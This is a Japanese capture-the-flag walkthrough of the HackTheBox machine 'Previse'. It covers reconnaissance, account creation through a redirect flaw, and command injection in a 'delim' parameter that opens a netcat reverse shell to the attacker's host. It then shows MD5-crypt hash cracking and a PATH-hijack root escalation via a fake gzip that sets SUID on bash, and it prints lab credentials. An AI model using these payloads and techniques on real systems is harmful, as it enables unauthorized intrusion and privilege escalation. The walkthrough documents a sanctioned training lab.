HackTheBox Previse
Previse
侵入
nmap
ポートスキャン
┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.104 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
22、80番を確認
web
ログインページを発見
gobuster
ディレクトリ探索
┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ gobuster dir -u http://10.10.11.104 -w /usr/share/wordlists/dirb/common.txt -x '.php' -o gobuster_dir_ex.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2022/10/03 15:22:38 Starting gobuster in directory enumeration mode
===============================================================
/accounts.php (Status: 302) [Size: 3994] [--> login.php]
/config.php (Status: 200) [Size: 0]
/css (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/download.php (Status: 302) [Size: 0] [--> login.php]
/favicon.ico (Status: 200) [Size: 15406]
/files.php (Status: 302) [Size: 4914] [--> login.php]
/footer.php (Status: 200) [Size: 217]
/header.php (Status: 200) [Size: 980]
/index.php (Status: 302) [Size: 2801] [--> login.php]
/index.php (Status: 302) [Size: 2801] [--> login.php]
/js (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/login.php (Status: 200) [Size: 2224]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/logs.php (Status: 302) [Size: 0] [--> login.php]
/nav.php (Status: 200) [Size: 1248]
/server-status (Status: 403) [Size: 277]
/status.php (Status: 302) [Size: 2966] [--> login.php]
===============================================================
2022/10/03 14:54:39 Finished
===============================================================
多くの PHP ファイルを発見
accounts.php
リダイレクトされるが、Burp Suite で通信を確認する
<section class="uk-section uk-section-default">
<div class="uk-container">
<h2 class="uk-heading-divider">Add New Account</h2>
<p>Create new user.</p>
<p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
<p>Usernames and passwords must be between 5 and 32 characters!</p>
</p>
<form role="form" method="post" action="accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>
</div>
</section>
パラメータを送ることで、ユーザを追加できそう
username=sho000&password=password&confirm=password
上記のようなパラメータを追加を追加し、Send する
<section class="uk-section uk-section-default">
<div class="uk-container">
<h2 class="uk-heading-divider">Add New Account</h2>
<p>Create new user.</p>
<p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
<p>Usernames and passwords must be between 5 and 32 characters!</p>
<div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div></p>
Success! User was added! というメッセージが出力された
login
先程追加した情報でログインできるか試してみる
ログイン成功
探索していくと、ZIP ファイルを発見
siteBackup.zip
ZIP ファイルを解凍する
┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ unzip siteBackup.zip
inflating: accounts.php
inflating: config.php
inflating: download.php
inflating: file_logs.php
inflating: files.php
inflating: footer.php
inflating: header.php
inflating: index.php
inflating: login.php
inflating: logout.php
inflating: logs.php
inflating: nav.php
inflating: status.php
ディレクトリ探索で見つけた様なファイルを取得できた
┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
一番気になる config.php を見てみると、mysql への認証情報が書かれていた
logs.php
ファイルの中身を見ていると気になる部分を発見
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
exec コマンドを発見し delim パラメータが使用されていることがわかる
POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/file_logs.php
Cookie: PHPSESSID=dc3fr73emkth91obta4rmqf7gg
Upgrade-Insecure-Requests: 1
delim=space
Burp Suite で確認すると、以下のようなリクエストが送られていた
delim を悪用してコマンドが実行できそう
delim=comma;ping -c 1 10.10.14.12
kali に ping を一回飛ばすコマンドを入力し、Send する
┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:15:18.150565 IP 10.10.11.104 > 10.10.14.12: ICMP echo request, id 18714, seq 1, length 64
16:15:18.150643 IP 10.10.14.12 > 10.10.11.104: ICMP echo reply, id 18714, seq 1, length 64
ping が飛んできたことがわかる
www-data としてのシェル
nc
delim=comma;nc 10.10.14.12 7777 -e /bin/bash
上記のようなリクエストを作成し、Send
┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.104] 58160
whoami
www-data
侵入成功
列挙
home
ユーザの存在を確認するため、home ディレクトリをみると、m4lwhere ユーザを確認
www-data@previse:/home/m4lwhere$ ls -l
total 4
-r-------- 1 m4lwhere m4lwhere 33 Oct 3 05:42 user.txt
user.txt に権限があるか一応見てみるが、権限はないことがわかった
mysql
侵入前の探索で、認証情報を取得しているのでアクセスしてみる
www-data@previse:/home/m4lwhere$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 177
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
アクセス成功
mysql> use previse
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
accounts テーブルを発見
mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | sho000 | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2022-10-03 06:38:34 |
+----+----------+------------------------------------+---------------------+
2 rows in set (0.00 sec) +
hash 化されているが、パスワードを発見できた
hashcat で確認すると、これは 500 で解読できそうであることがわかる
┌──(kali㉿kali)-[~/Desktop/Previse]
└─$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt --show
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
ilovecody112235! という文字列を取得
m4lwhere としてのシェル
su
www-data@previse:/home/m4lwhere$ su m4lwhere
Password: ilovecody112235!
m4lwhere@previse:~$ whoami
m4lwhere
シェル取得に成功
user フラグ
m4lwhere@previse:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
権限昇格
sudo
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere: ilovecody112235!
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
access_backup.sh が使えるらしい
access_backup.sh
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
gzip を実行しているようだが、gzip は完全なパス名ではないため、悪用できそう
m4lwhere@previse:/tmp$ echo "chmod +s /bin/bash" > gzip
今回は、/bin/bash の権限を変更することで、権限昇格を目指す
m4lwhere@previse:/tmp$ chmod +x gzip
新たに作成した gzip に実行権限を付与
m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
作成した gzip が先に実行されるように、PATH 変数に /tmp を追加
root としてのシェル
exploit
m4lwhere@previse:/tmp$ sudo /opt/scripts/access_backup.sh
access_backup.sh を実行
m4lwhere@previse:/tmp$ find / -type f -user root -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/bin/bash
/bin/su
SUID が /bin/bash に対して付与されたことがわかる
m4lwhere@previse:/tmp$ bash -p
bash-4.4# whoami
root
権限昇格成功
root フラグ
bash-4.4# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
所感
今回のボックスは、特に詰まることがなくスラスラと攻略できた。楽しかった。少し気になる点は、ディレクトリ探索をする際に、拡張子を指定しなければ、accounts.php を発見することができなかったということ。抜けのない探索を心がけたい。
Discussion